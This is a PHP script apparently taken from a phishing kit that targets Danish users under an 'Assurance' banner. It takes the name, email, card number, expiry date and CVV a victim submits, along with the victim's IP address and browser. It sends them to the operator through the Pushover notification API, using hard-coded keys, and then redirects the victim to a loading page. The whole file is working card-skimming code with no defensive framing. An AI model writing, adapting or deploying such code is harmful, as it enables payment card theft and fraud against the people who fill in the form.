<?php
$zabi = getenv("REMOTE_ADDR");
$message = "******🇩🇰***Assurance***🇩🇰*****\n";
$message .= "Name : " . $_POST['name'] . "\n";
$message .= "Email : " . $_POST['email'] . "\n";
$message .= "Cc : " . $_POST['cc'] . "\n";
$message .= "MM : " . $_POST['mm'] . "\n";
$message .= "YY : " . $_POST['yy'] . "\n";
$message .= "cvv : " . $_POST['code'] . "\n";
$message .= "----------- IP Infos -------\n";
$message .= "IP : $zabi\n";
$message .= "BROWSER : " . $_SERVER['HTTP_USER_AGENT'] . "\n";
// Pushover API endpoint
$pushover_url = "https://api.pushover.net/1/messages.json";
// Pushover API token and user key
$pushover_token = "avri72cj2gvitwpw6j4tri8upr7ihb";
$pushover_user = "uxs2rh4s4t4emjh6mxvghufc8gprin";
// Prepare the data for Pushover
$data = array(
"token" => $pushover_token,
"user" => $pushover_user,
"message" => $message,
);
// Initialize cURL
$ch = curl_init();
// Set cURL options for the Pushover API
curl_setopt_array($ch, array(
CURLOPT_URL => $pushover_url,
CURLOPT_POSTFIELDS => $data,
CURLOPT_SAFE_UPLOAD => true,
CURLOPT_RETURNTRANSFER => true,
));
// Execute the cURL request to send the Pushover message
$response = curl_exec($ch);
// Check for errors or handle the response as needed
if ($response === false) {
echo "cURL Error: " . curl_error($ch);
} else {
// Handle the Pushover API response (if needed)
// Example: $decoded_response = json_decode($response, true);
}
// Close the cURL session
curl_close($ch);
// Redirect to the specified page after sending the Pushover message
header("Location: ../load.html");
?>